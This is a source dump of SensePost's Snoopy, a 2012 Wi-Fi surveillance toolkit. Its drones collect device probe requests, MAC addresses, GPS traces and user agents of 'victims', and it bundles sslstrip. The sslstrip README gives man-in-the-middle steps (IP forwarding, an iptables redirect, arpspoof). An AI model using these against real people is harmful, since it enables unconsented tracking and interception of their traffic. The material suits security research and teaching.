7 | html{color:#000;background:#FFF}body,div,dl,dt,dd,ul,ol,li,h1,h2,h3,h4,h5,h6,pre,code,form,fieldset,legend,input,textarea,p,blockquote,th,td{margin:0;padding:0}table{border-collapse:collapse;border-spacing:0}fieldset,img{border:0}address,caption,cite,code,dfn,em,strong,th,var{font-style:normal;font-weight:normal}ol,ul{list-style:none}caption,th{text-align:left}h1,h2,h3,h4,h5,h6{font-size:100%;font-weight:normal}q:before,q:after{content:''}abbr,acronym{border:0;font-variant:normal}sup{vertical-align:text-top}sub{vertical-align:text-bottom}input,textarea,select{font-family:inherit;font-size:inherit;font-weight:inherit}input,textarea,select{*font-size:100%}legend{color:#000}#yui3-css-stamp.cssreset{display:none}
--------------------------------------------------------------------------------
/snoopy/server/bin/snoopy/src/snoopy/static/js/snoopy-login.js:
--------------------------------------------------------------------------------
1 | $(document).ready(function() {
2 | $('input[type="text"]').toggleInputValue();
3 |
4 | $('form').submit(function(ev) {
5 | f = $(ev.target);
6 | user = f.find('input[name="username"]').val();
7 | pass = f.find('input[name="password"]').val();
8 | if (!user || user == 'username' || !pass) {
9 | alert('Invalid login');
10 | return false;
11 | }
12 | $('#flashmsg').text('Logging in...');
13 | $.post('/login', { username: user, password: pass })
14 | .success(function() {
15 | $('#flashmsg').text('Login successful.');
16 | window.setTimeout(function() { window.location = '/'; }, 1000);
17 | })
18 | .error(function() {
19 | $('#flashmsg').text('Login failed :(');
20 | });
21 | return false;
22 | });
23 | });
24 |
--------------------------------------------------------------------------------
/snoopy/server/bin/snoopy/src/snoopy/templates/login.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Snoopy - Login
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
19 |
20 |
21 |
--------------------------------------------------------------------------------
/LICENSE.txt:
--------------------------------------------------------------------------------
1 | Copyright (C) 2012 SensePost Information Security
2 |
3 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
4 |
5 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
6 |
7 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
8 |
--------------------------------------------------------------------------------
/snoopy/server/transforms/summary.py:
--------------------------------------------------------------------------------
1 | import stawk_db
2 | import datetime
3 |
4 | cursor=stawk_db.dbconnect()
5 | drones=[]
6 |
7 | day='2012-08-24 '
8 |
9 | st=day+'00:00:00'
10 | fi=day+'23:59:59'
11 | cursor.execute("SELECT monitor_id,min(timestamp),max(timestamp) FROM probes WHERE timestamp > %s AND timestamp <%s GROUP BY monitor_id", (st,fi))
12 |
13 | for r in cursor.fetchall():
14 | drones.append((r[0],r[1],r[2]))
15 |
16 | for d in drones:
17 | drone_id = d[0]
18 | print drone_id
19 | fp,lp=d[1],d[2]
20 | fp=fp - datetime.timedelta(minutes=fp.minute, seconds=fp.second)
21 | lp=lp - datetime.timedelta(minutes=(lp.minute-60), seconds=lp.second)
22 |
23 | hours=(((lp-fp)).seconds)/3600
24 | for h in range(hours):
25 | frm=fp + datetime.timedelta(hours=h)
26 | to=fp + datetime.timedelta(hours=h+1)
27 |
28 | cursor.execute("SELECT COUNT( DISTINCT (device_mac)) FROM probes where timestamp > %s AND timestamp < %s AND monitor_id=%s",(frm,to,drone_id))
29 | count=int(cursor.fetchone()[0])
30 | print "%s to %s = %d" %(frm.strftime("%H:%M"),to.strftime("%H:%M"),count)
31 |
--------------------------------------------------------------------------------
/snoopy/server/bin/snoopy/src/snoopy/plugins/wigle.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
3 | from snoopy import db, pluginregistry
4 |
5 |
6 | @pluginregistry.add('client-data', 'wigle', 'Wigle', js='/static/js/wigle.js')
7 | def wigle(mac):
8 | results = []
9 | with db.SessionCtx() as session:
10 | query = session.query(db.Probe, db.Wigle).\
11 | filter(
12 | db.Probe.device_mac == mac,
13 | db.Probe.probe_ssid == db.Wigle.ssid
14 | ).\
15 | group_by(db.Probe.device_mac, db.Probe.probe_ssid).\
16 | order_by(db.Probe.timestamp)
17 | for probe_row, wigle_row in query:
18 | if wigle_row.gps_long is None or wigle_row.gps_lat is None:
19 | continue
20 | ssid = wigle_row.ssid
21 | if not ssid:
22 | ssid = '[unknown]'
23 | results.append({
24 | 'long': float(wigle_row.gps_long),
25 | 'lat': float(wigle_row.gps_lat),
26 | 'ssid': wigle_row.ssid,
27 | 'timestamp': str(probe_row.timestamp)
28 | })
29 | return results
30 |
--------------------------------------------------------------------------------
/snoopy/server/bin/snoopy/src/snoopy/plugins/wifi.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
3 | from snoopy import db, pluginregistry
4 |
5 |
6 | @pluginregistry.add('client-data', 'ssids', 'SSIDs', js='/static/js/ssidlist.js')
7 | def ssid_list(mac):
8 | with db.SessionCtx() as session:
9 | query = session.query(
10 | # SELECT probe_ssid, proximity_session FROM probes
11 | db.Probe.probe_ssid, db.Probe.proximity_session
12 | ).filter_by(
13 | # WHERE device_mac=$mac
14 | device_mac=mac
15 | ).group_by(
16 | # GROUP BY proximity_session, probe_ssid
17 | db.Probe.proximity_session, db.Probe.probe_ssid
18 | ).order_by(
19 | # ORDER BY probe_ssid
20 | db.Probe.probe_ssid
21 | )
22 |
23 | results = {}
24 | for ssid, prox_sess in query.all():
25 | if not ssid:
26 | ssid = '[blank ssid]'
27 | if not ssid or not prox_sess:
28 | continue
29 | if ssid not in results:
30 | results[ssid] = []
31 | if prox_sess not in results[ssid]:
32 | results[ssid].append(prox_sess)
33 | return results
34 |
--------------------------------------------------------------------------------
/snoopy/server/bin/snoopy/src/snoopy/plugins/gpsmovs.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
3 | from snoopy import db, pluginregistry
4 |
5 |
6 | @pluginregistry.add('client-data', 'gpsmovs', 'GPS Movements', js='/static/js/gpsmovs.js')
7 | def gps_movements(mac):
8 | results = {}
9 | with db.SessionCtx() as session:
10 | query = session.query(db.Probe, db.GpsMovement).\
11 | filter(
12 | db.Probe.device_mac == mac,
13 | db.Probe.monitor == db.GpsMovement.monitor,
14 | db.GpsMovement.timestamp >= db.Probe.timestamp-5,
15 | db.GpsMovement.timestamp <= db.Probe.timestamp+5,
16 | ).\
17 | order_by(db.GpsMovement.run_id, db.GpsMovement.timestamp)
18 | for probe_row, gpsmov_row in query:
19 | if gpsmov_row.run_id not in results:
20 | results[gpsmov_row.run_id] = []
21 | results[gpsmov_row.run_id].append({
22 | 'long': float(gpsmov_row.gps_long),
23 | 'lat': float(gpsmov_row.gps_lat),
24 | 'accuracy': float(gpsmov_row.accuracy),
25 | 'timestamp': str(gpsmov_row.timestamp)
26 | })
27 | return results
28 |
--------------------------------------------------------------------------------
/snoopy/server/bin/sslstripSnoopy/README:
--------------------------------------------------------------------------------
1 | sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping
2 | attacks.
3 |
4 | It requires Python 2.5 or newer, along with the 'twisted' python module.
5 |
6 | Installing:
7 | * Unpack: tar zxvf sslstrip-0.5.tar.gz
8 | * Install twisted: sudo apt-get install python-twisted-web
9 | * (Optionally) run 'python setup.py install' as root to install,
10 | or you can just run it out of the directory.
11 |
12 | Running:
13 | sslstrip can be run from the source base without installation.
14 | Just run 'python sslstrip.py -h' as a non-root user to get the
15 | command-line options.
16 |
17 | The four steps to getting this working (assuming you're running Linux)
18 | are:
19 |
20 | 1) Flip your machine into forwarding mode (as root):
21 | echo "1" > /proc/sys/net/ipv4/ip_forward
22 |
23 | 2) Setup iptables to intercept HTTP requests (as root):
24 | iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port
25 |
26 | 3) Run sslstrip with the command-line options you'd like (see above).
27 |
28 | 4) Run arpspoof to redirect traffic to your machine (as root):
29 | arpspoof -i -t
30 |
31 | More Info:
32 | http://www.thoughtcrime.org/software/sslstrip/
33 |
--------------------------------------------------------------------------------
/snoopy/server/bin/sslstripSnoopy/sslstrip/StrippingProxy.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2004-2009 Moxie Marlinspike
2 | #
3 | # This program is free software; you can redistribute it and/or
4 | # modify it under the terms of the GNU General Public License as
5 | # published by the Free Software Foundation; either version 3 of the
6 | # License, or (at your option) any later version.
7 | #
8 | # This program is distributed in the hope that it will be useful, but
9 | # WITHOUT ANY WARRANTY; without even the implied warranty of
10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
11 | # General Public License for more details.
12 | #
13 | # You should have received a copy of the GNU General Public License
14 | # along with this program; if not, write to the Free Software
15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
16 | # USA
17 | #
18 |
19 | from twisted.web.http import HTTPChannel
20 | from ClientRequest import ClientRequest
21 |
22 | class StrippingProxy(HTTPChannel):
23 | '''sslstrip is, at heart, a transparent proxy server that does some unusual things.
24 | This is the basic proxy server class, where we get callbacks for GET and POST methods.
25 | We then proxy these out using HTTP or HTTPS depending on what information we have about
26 | the (connection, client_address) tuple in our cache.
27 | '''
28 |
29 | requestFactory = ClientRequest
30 |
--------------------------------------------------------------------------------
/snoopy/server/bin/sslstripSnoopy/build/lib.linux-i686-2.7/sslstrip/StrippingProxy.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2004-2009 Moxie Marlinspike
2 | #
3 | # This program is free software; you can redistribute it and/or
4 | # modify it under the terms of the GNU General Public License as
5 | # published by the Free Software Foundation; either version 3 of the
6 | # License, or (at your option) any later version.
7 | #
8 | # This program is distributed in the hope that it will be useful, but
9 | # WITHOUT ANY WARRANTY; without even the implied warranty of
10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
11 | # General Public License for more details.
12 | #
13 | # You should have received a copy of the GNU General Public License
14 | # along with this program; if not, write to the Free Software
15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
16 | # USA
17 | #
18 |
19 | from twisted.web.http import HTTPChannel
20 | from ClientRequest import ClientRequest
21 |
22 | class StrippingProxy(HTTPChannel):
23 | '''sslstrip is, at heart, a transparent proxy server that does some unusual things.
24 | This is the basic proxy server class, where we get callbacks for GET and POST methods.
25 | We then proxy these out using HTTP or HTTPS depending on what information we have about
26 | the (connection, client_address) tuple in our cache.
27 | '''
28 |
29 | requestFactory = ClientRequest
30 |
--------------------------------------------------------------------------------
/snoopy/server/bin/process_probe_pcaps.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | # glenn@sensepost.com
3 | # Snoopy // 2012
4 | # By using this code you agree to abide by the supplied LICENSE.txt
5 |
6 | # This script will parse pcap files, ready to be inserted into our db.
7 |
8 | mkdir $device_id
9 | echo -n "" > ./$device_id/probe_data.txt
10 |
11 | for filename in `find ./new_pcaps/ -name probeRequests_*.cap`
12 | do
13 | device_id=$(cat ./new_pcaps/device_id.txt)
14 | location=$(echo $filename | sed 's/.*probeRequests_\(.*\)_.*/\1/')
15 | date=$(echo $filename| sed 's/.*_\(.*\)\.cap/\1/')
16 | run_id=$(perl -e "use Time::Piece; print Time::Piece->strptime('$date','%F-%k%M%S')->epoch;")
17 | run_id=$run_id"_"$RANDOM
18 |
19 | if [ -z "$run_id" ] || [ -z "$date" ] || [ -z "$location" ] || [ -z "$device_id" ]
20 | then
21 | echo "Error - could not determine all variables. Do you have a device_id.txt file containing your\n device's unique ID, and is the filename of the format probeRequests__.cap"
22 | exit
23 | fi
24 |
25 | mkdir $device_id
26 |
27 | tshark -r $filename -R 'wlan.fc.type_subtype eq 4' -T fields -e wlan.sa -e wlan_mgt.ssid -e radiotap.dbm_antsignal -e frame.time -E separator=, -E quote=d | sed -u "s/^/\"$device_id\",\"$run_id\",\"$location\",/" >> ./$device_id/probe_data.txt
28 | mv $filename ./old_pcaps/
29 | done
30 |
31 |
32 | num_probes=$(wc -l probe_data.txt)
33 | echo Done. Extracted $num_probes probes...
34 |
--------------------------------------------------------------------------------
/snoopy/client/setup_linux.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | # glenn@sensepost.com
3 | # Snoopy // 2012
4 | # By using this code you agree to abide by the supplied LICENSE.txt
5 |
6 |
7 | echo "+-----------------------------------------------------------------------+
8 | + SensePost Information Security +
9 | + Snoopy Drone Installer +
10 | + http://www.sensepost.com/labs / research@sensepost.com +
11 | +-----------------------------------------------------------------------+
12 |
13 | +-----------------------------------------------------------------------+
14 | + This script has been tested on a BackTrack5 installation. I'll try +
15 | + install the following packages anway: +
16 | + -dnsmasq, tshark, openvpn, rsync, netcat, macchanger +
17 | +-----------------------------------------------------------------------+
18 | "
19 |
20 | #Set current path in config
21 | sd=$(cd $(dirname "$0"); pwd)
22 |
23 | apt-get install -y dnsmasq
24 | apt-get install -y tshark
25 | apt-get install -y openvpn
26 | apt-get install -y rsync
27 | apt-get install -y netcat
28 | apt-get install -y macchanger
29 |
30 | /etc/init.d/ssh start
31 |
32 | cat > /usr/bin/snoopy << EOL
33 | #!/bin/bash
34 | $sd/snoopy.sh
35 | EOL
36 | chmod +x /usr/bin/snoopy
37 |
38 | echo "+-----------------------------------------------------------------------------+"
39 | echo "+ Done. Run 'snoopy' now. +"
40 | echo "+-----------------------------------------------------------------------------+"
41 |
42 |
43 |
--------------------------------------------------------------------------------
/snoopy/server/setup/sn.txt:
--------------------------------------------------------------------------------
1 | +---------------------------------------------------------------+
2 | | SensePost Snoopy // 2012 |
3 | | |
4 | | __---__ ______ |
5 | | / ___\_ o O O _( )__ |
6 | | /====(_____\___---_ o _( )_ |
7 | | | \ (_ Hack the ) |
8 | | | |@ (_ Planet! _)|
9 | | \ ___ / (__ __) |
10 | | \ __----____--_\____(____\_____/ (______) |
11 | | ==|__----____--______| |
12 | | / / \____/)_ |
13 | | / ______) |
14 | | / | | |
15 | | | _| | |
16 | | ______\______________|______ |
17 | | / * * \ |
18 | | /_____________*____*___________\ |
19 | | / * * \ |
20 | | /________________________________\ |
21 | | / * \ |
22 | | /__________________________________\ |
23 | | | | |
24 | | |________________________| |
25 | | | | |
26 | | |________________________| |
27 | | |
28 | | http://www.sensepost.com/labs |
29 | | research@sensepost.com |
30 | +---------------------------------------------------------------+
31 |
--------------------------------------------------------------------------------
/snoopy/server/bin/snoopy/src/snoopy/templates/main.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Snoopy
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
--------------------------------------------------------------------------------
/snoopy/server/bin/sslstripSnoopy/setup.py:
--------------------------------------------------------------------------------
1 | import sys, os, shutil
2 | from distutils.core import setup, Extension
3 |
4 |
5 | shutil.copyfile("sslstrip.py", "sslstrip/sslstrip")
6 |
7 | setup (name = 'sslstrip',
8 | version = '0.9',
9 | description = 'A MITM tool that implements Moxie Marlinspike\'s HTTPS stripping attacks.',
10 | author = 'Moxie Marlinspike',
11 | author_email = 'moxie@thoughtcrime.org',
12 | url = 'http://www.thoughtcrime.org/software/sslstrip/',
13 | license = 'GPL',
14 | packages = ["sslstrip"],
15 | package_dir = {'sslstrip' : 'sslstrip/'},
16 | scripts = ['sslstrip/sslstrip'],
17 | data_files = [('share/sslstrip', ['README', 'COPYING', 'lock.ico'])],
18 | )
19 |
20 | print "Cleaning up..."
21 | try:
22 | removeall("build/")
23 | os.rmdir("build/")
24 | except:
25 | pass
26 |
27 | try:
28 | os.remove("sslstrip/sslstrip")
29 | except:
30 | pass
31 |
32 | def capture(cmd):
33 | return os.popen(cmd).read().strip()
34 |
35 | def removeall(path):
36 | if not os.path.isdir(path):
37 | return
38 |
39 | files=os.listdir(path)
40 |
41 | for x in files:
42 | fullpath=os.path.join(path, x)
43 | if os.path.isfile(fullpath):
44 | f=os.remove
45 | rmgeneric(fullpath, f)
46 | elif os.path.isdir(fullpath):
47 | removeall(fullpath)
48 | f=os.rmdir
49 | rmgeneric(fullpath, f)
50 |
51 | def rmgeneric(path, __func__):
52 | try:
53 | __func__(path)
54 | except OSError, (errno, strerror):
55 | pass
56 |
--------------------------------------------------------------------------------
/snoopy/server/bin/snoopy/src/snoopy/static/js/wigle.js:
--------------------------------------------------------------------------------
1 | Snoopy.registerPlugin('wigle', function(section, clData) {
2 | if (!Snoopy.util.loadGoogleMaps()) {
3 | console.error('Google Maps not (yet) loaded');
4 | return;
5 | }
6 |
7 | if (!clData.length) {
8 | console.debug('No Wigle data received.');
9 | return;
10 | }
11 |
12 | var $map = $(document.createElement('div'))
13 | .attr('id', 'wigle_map')
14 | .css({ width: '425px', height: '350px', border: '1px solid #abbce6' }),
15 | mapId='wigle_' + $('.cwin-title', section.parent().parent()).text(),
16 | markers=[], avg_long=0.0, avg_lat=0.0,
17 | coords, map, i;
18 |
19 | for (i=0; i < clData.length; i++) {
20 | coords = clData[i];
21 | console.debug(coords.lat + ', ' + coords.long + '(' + coords.ssid + ')');
22 | markers.push(new google.maps.Marker({
23 | title: coords.ssid + ' (' + Snoopy.util.dateFormat(coords.timestamp) + ')',
24 | position: new google.maps.LatLng(coords.lat, coords.long)
25 | }));
26 | avg_lat += coords.lat;
27 | avg_long += coords.long;
28 | }
29 |
30 | avg_lat /= clData.length;
31 | avg_long /= clData.length;
32 |
33 | map = new google.maps.Map($map[0], {
34 | zoom: 6, mapTypeId: google.maps.MapTypeId.ROADMAP,
35 | center: new google.maps.LatLng(avg_lat, avg_long),
36 | });
37 |
38 | for (var i=0; i < markers.length; i++) {
39 | markers[i].setMap(map);
40 | }
41 |
42 | $('.section-content', section).append($map);
43 | });
44 |
--------------------------------------------------------------------------------
/snoopy/server/transforms/fetchUAsFromClient.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # -*- coding: utf-8 -*-
3 | # glenn@sensepost.com
4 | # Snoopy // 2012
5 | # By using this code you agree to abide by the supplied LICENSE.txt
6 |
7 | import sys
8 | import os
9 | from Maltego import *
10 | import stawk_db
11 | import logging
12 | import datetime
13 |
14 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S')
15 |
16 | sys.stderr = sys.stdout
17 |
18 | def main():
19 |
20 | print "Content-type: xml\n\n";
21 | MaltegoXML_in = sys.stdin.read()
22 | if MaltegoXML_in <> '':
23 | m = MaltegoMsg(MaltegoXML_in)
24 |
25 | cursor=stawk_db.dbconnect()
26 | TRX = MaltegoTransform()
27 |
28 |
29 | try:
30 | if 'mac' in m.AdditionalFields:
31 | mac=m.AdditionalFields['mac']
32 |
33 | logging.debug(mac)
34 |
35 | cursor.execute("SELECT DISTINCT ua FROM squid_logs,dhcp_leases WHERE squid_logs.client_ip=dhcp_leases.ip AND dhcp_leases.mac=%s", (mac))
36 | results=cursor.fetchall()
37 |
38 |
39 | for row in results:
40 | ua=row[0].encode('utf8','xmlcharrefreplace')
41 | NewEnt=TRX.addEntity("snoopy.useragent", ua);
42 |
43 | # NewEnt.addAdditionalFields("start_time","Start time", "strict", start_time)
44 | # NewEnt.addAdditionalFields("end_time","End time", "strict", end_time)
45 |
46 | except Exception, e:
47 | logging.debug("Exception:")
48 | logging.debug(e)
49 |
50 |
51 | TRX.returnOutput()
52 |
53 | main()
54 |
55 |
--------------------------------------------------------------------------------
/snoopy/server/setup/network_diagram.txt:
--------------------------------------------------------------------------------
1 | ## This is the Snoopy architecutre diagram
2 | ## Victims traffic is foward via drones to the Server, meaning on the server
3 | ## we can isolate traffic per individual Victim IP.
4 | ## I chose to use a TAP interface such that if desired we could route layer 2
5 | ## traffic through the server.
6 |
7 | ## glenn@sensepost.com
8 |
9 |
10 | Victim1 Drone1 Server
11 | +----------+ +-----------------------+ +-----------------------+
12 | | wlan0-|<---WiFi--->|-at0 | | eth0|
13 | | | | | 10.2.0.1 | | 1.2.3.45|
14 | | dhclient | | | | | |
15 | | | | | tap0-|<------openvpn-------->|-tap0 |
16 | +----------+ | | 192.168.42.2 | +-----/ | 192.168.42.1 |
17 | (10.2.0.2)* | +-----------------------+ | +-----------------------+
18 | | |
19 | | | ip route add 10.2.0.0 via 192.168.42.2
20 | | | ip route add 10.3.0.0 via 192.168.42.3
21 | Victim2 | |
22 | +----------+ | |
23 | | wlan0-|<---+ |
24 | | | |
25 | | dhclient | |
26 | | | |
27 | +----------+ |
28 | (10.2.0.3)* |
29 | |
30 | |
31 | |
32 | Victim3 Drone2 |
33 | +----------+ +-----------------------+ |
34 | | wlan0-|<---WiFi--->|-at0 | |
35 | | | | | 10.3.0.1 | |
36 | | dhclient | | | | |
37 | | | | | tap0-|<---openvpn----+
38 | +----------+ | | 192.168.42.3 |
39 | (10.3.0.2)* | +-----------------------+
40 | |
41 | |
42 | |
43 | Victim4 |
44 | +----------+ |
45 | | wlan0-|<---+
46 | | |
47 | | dhclient |
48 | | |
49 | +----------+
50 | (10.3.0.3)*
51 |
--------------------------------------------------------------------------------
/snoopy/server/transforms/vegas44con.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # -*- coding: utf-8 -*-
3 | # glenn@sensepost.com
4 | # Snoopy // 2012
5 | # By using this code you agree to abide by the supplied LICENSE.txt
6 |
7 | import sys
8 | import os
9 | from Maltego import *
10 | import stawk_db
11 | import logging
12 | import datetime
13 |
14 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S')
15 |
16 | sys.stderr = sys.stdout
17 |
18 | def main():
19 |
20 | print "Content-type: xml\n\n";
21 | MaltegoXML_in = sys.stdin.read()
22 | if MaltegoXML_in <> '':
23 | m = MaltegoMsg(MaltegoXML_in)
24 |
25 | cursor=stawk_db.dbconnect()
26 | TRX = MaltegoTransform()
27 |
28 | # logging.debug(m.AdditionalFields['end_time'])
29 |
30 |
31 | #cursor.execute("SELECT DISTINCT device_mac,vendor_short FROM probes,mac_vendor WHERE SUBSTRING(device_mac,1,6) = mac AND timestamp > %s AND timestamp < %s LIMIT 100", (start_time,end_time))
32 | cursor.execute("SELECT DISTINCT(t1.device_mac),t1.location,t1.monitor_id FROM probes t1 INNER JOIN probes t2 ON t1.device_mac = t2.device_mac WHERE t1.location LIKE 'vegas%' AND t2.location = '44con'")
33 | results=cursor.fetchall()
34 | logging.debug("Observed %d clients" %len(results))
35 |
36 | try:
37 |
38 | for row in results:
39 | mac=row[0]
40 | NewEnt=TRX.addEntity("snoopy.Client", mac);
41 | NewEnt.addAdditionalFields("mac","mac address", "strict",row[0])
42 | # NewEnt.addAdditionalFields("start_time", "start_time", "strict",start_time)
43 | # NewEnt.addAdditionalFields("end_time","end_time", "strict",end_time)
44 |
45 | except Exception, e:
46 | logging.debug("Exception from fetchClients.py:")
47 | logging.debug(e)
48 |
49 |
50 | TRX.returnOutput()
51 |
52 | main()
53 |
54 |
--------------------------------------------------------------------------------
/snoopy/server/bin/sslstripSnoopy/sslstrip/ServerConnectionFactory.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2004-2009 Moxie Marlinspike
2 | #
3 | # This program is free software; you can redistribute it and/or
4 | # modify it under the terms of the GNU General Public License as
5 | # published by the Free Software Foundation; either version 3 of the
6 | # License, or (at your option) any later version.
7 | #
8 | # This program is distributed in the hope that it will be useful, but
9 | # WITHOUT ANY WARRANTY; without even the implied warranty of
10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
11 | # General Public License for more details.
12 | #
13 | # You should have received a copy of the GNU General Public License
14 | # along with this program; if not, write to the Free Software
15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
16 | # USA
17 | #
18 |
19 | import logging
20 | from twisted.internet.protocol import ClientFactory
21 |
22 | class ServerConnectionFactory(ClientFactory):
23 |
24 | def __init__(self, command, uri, postData, headers, client):
25 | self.command = command
26 | self.uri = uri
27 | self.postData = postData
28 | self.headers = headers
29 | self.client = client
30 |
31 | def buildProtocol(self, addr):
32 | return self.protocol(self.command, self.uri, self.postData, self.headers, self.client)
33 |
34 | def clientConnectionFailed(self, connector, reason):
35 | logging.debug("Client:%s Server connection failed." % (self.client.getClientIP()))
36 |
37 | destination = connector.getDestination()
38 |
39 | if (destination.port != 443):
40 | logging.debug("Client:%s Retrying via SSL" % (self.client.getClientIP()))
41 | self.client.proxyViaSSL(self.headers['host'], self.command, self.uri, self.postData, self.headers, 443)
42 | else:
43 | self.client.finish()
44 |
45 |
--------------------------------------------------------------------------------
/snoopy/server/bin/sslstripSnoopy/build/lib.linux-i686-2.7/sslstrip/ServerConnectionFactory.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2004-2009 Moxie Marlinspike
2 | #
3 | # This program is free software; you can redistribute it and/or
4 | # modify it under the terms of the GNU General Public License as
5 | # published by the Free Software Foundation; either version 3 of the
6 | # License, or (at your option) any later version.
7 | #
8 | # This program is distributed in the hope that it will be useful, but
9 | # WITHOUT ANY WARRANTY; without even the implied warranty of
10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
11 | # General Public License for more details.
12 | #
13 | # You should have received a copy of the GNU General Public License
14 | # along with this program; if not, write to the Free Software
15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
16 | # USA
17 | #
18 |
19 | import logging
20 | from twisted.internet.protocol import ClientFactory
21 |
22 | class ServerConnectionFactory(ClientFactory):
23 |
24 | def __init__(self, command, uri, postData, headers, client):
25 | self.command = command
26 | self.uri = uri
27 | self.postData = postData
28 | self.headers = headers
29 | self.client = client
30 |
31 | def buildProtocol(self, addr):
32 | return self.protocol(self.command, self.uri, self.postData, self.headers, self.client)
33 |
34 | def clientConnectionFailed(self, connector, reason):
35 | logging.debug("Client:%s Server connection failed." % (self.client.getClientIP()))
36 |
37 | destination = connector.getDestination()
38 |
39 | if (destination.port != 443):
40 | logging.debug("Client:%s Retrying via SSL" % (self.client.getClientIP()))
41 | self.client.proxyViaSSL(self.headers['host'], self.command, self.uri, self.postData, self.headers, 443)
42 | else:
43 | self.client.finish()
44 |
45 |
--------------------------------------------------------------------------------
/snoopy/server/transforms/fetchSSIDs.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # -*- coding: utf-8 -*-
3 | # glenn@sensepost.com
4 | # Snoopy // 2012
5 | # By using this code you agree to abide by the supplied LICENSE.txt
6 |
7 | import sys
8 | import os
9 | from Maltego import *
10 | import stawk_db
11 | import logging
12 | import datetime
13 | from xml.sax.saxutils import escape
14 |
15 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S')
16 |
17 | sys.stderr = sys.stdout
18 |
19 | def main():
20 |
21 | print "Content-type: xml\n\n";
22 | MaltegoXML_in = sys.stdin.read()
23 | if MaltegoXML_in <> '':
24 | m = MaltegoMsg(MaltegoXML_in)
25 |
26 | cursor=stawk_db.dbconnect()
27 | TRX = MaltegoTransform()
28 |
29 | #logging.debug(MaltegoXML_in)
30 | try:
31 | mac,drone='%','%'
32 | if 'mac' in m.AdditionalFields:
33 | mac=m.AdditionalFields['mac']
34 | if 'drone' in m.AdditionalFields:
35 | drone=m.AdditionalFields['drone']
36 |
37 | logging.debug(mac)
38 | logging.debug(drone)
39 | # cursor.execute("SELECT DISTINCT probe_ssid FROM probes WHERE probe_ssid NOT LIKE '%\\\\\\%' AND device_mac=%s", (mac))
40 | cursor.execute("SELECT DISTINCT probe_ssid FROM probes WHERE device_mac=%s", (mac))
41 | results=cursor.fetchall()
42 |
43 |
44 | for row in results:
45 | ssid=escape(row[0])
46 | #ssid=(row[0]).encode('ascii','xmlcharrefreplace')
47 | if ssid != '':
48 | logging.debug(ssid)
49 | NewEnt=TRX.addEntity("snoopy.SSID", ssid);
50 |
51 | # NewEnt.addAdditionalFields("start_time","Start time", "strict", start_time)
52 | # NewEnt.addAdditionalFields("end_time","End time", "strict", end_time)
53 |
54 | except Exception, e:
55 | logging.debug("Exception:")
56 | logging.debug(e)
57 |
58 |
59 | TRX.returnOutput()
60 |
61 | try:
62 | main()
63 | except Exception, e:
64 | logging.debug("Exception:")
65 | logging.debug(e)
66 |
--------------------------------------------------------------------------------
/snoopy/server/transforms/testPy.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | import sys
3 | import os
4 | from Maltego import *
5 |
6 | sys.stderr = sys.stdout
7 |
8 | def main():
9 |
10 | print "Content-type: xml\n\n";
11 | MaltegoXML_in = sys.stdin.read()
12 | if MaltegoXML_in <> '':
13 | m = MaltegoMsg(MaltegoXML_in)
14 |
15 | # Shows inputs in client as error message
16 | # Enable debug on this transform in TDS to see
17 | # Comment this section to run the transform
18 | # print 'Type='+ m.Type +' Value='+ m.Value + ' Weight=' + m.Weight + ' Limit=' + m.Slider
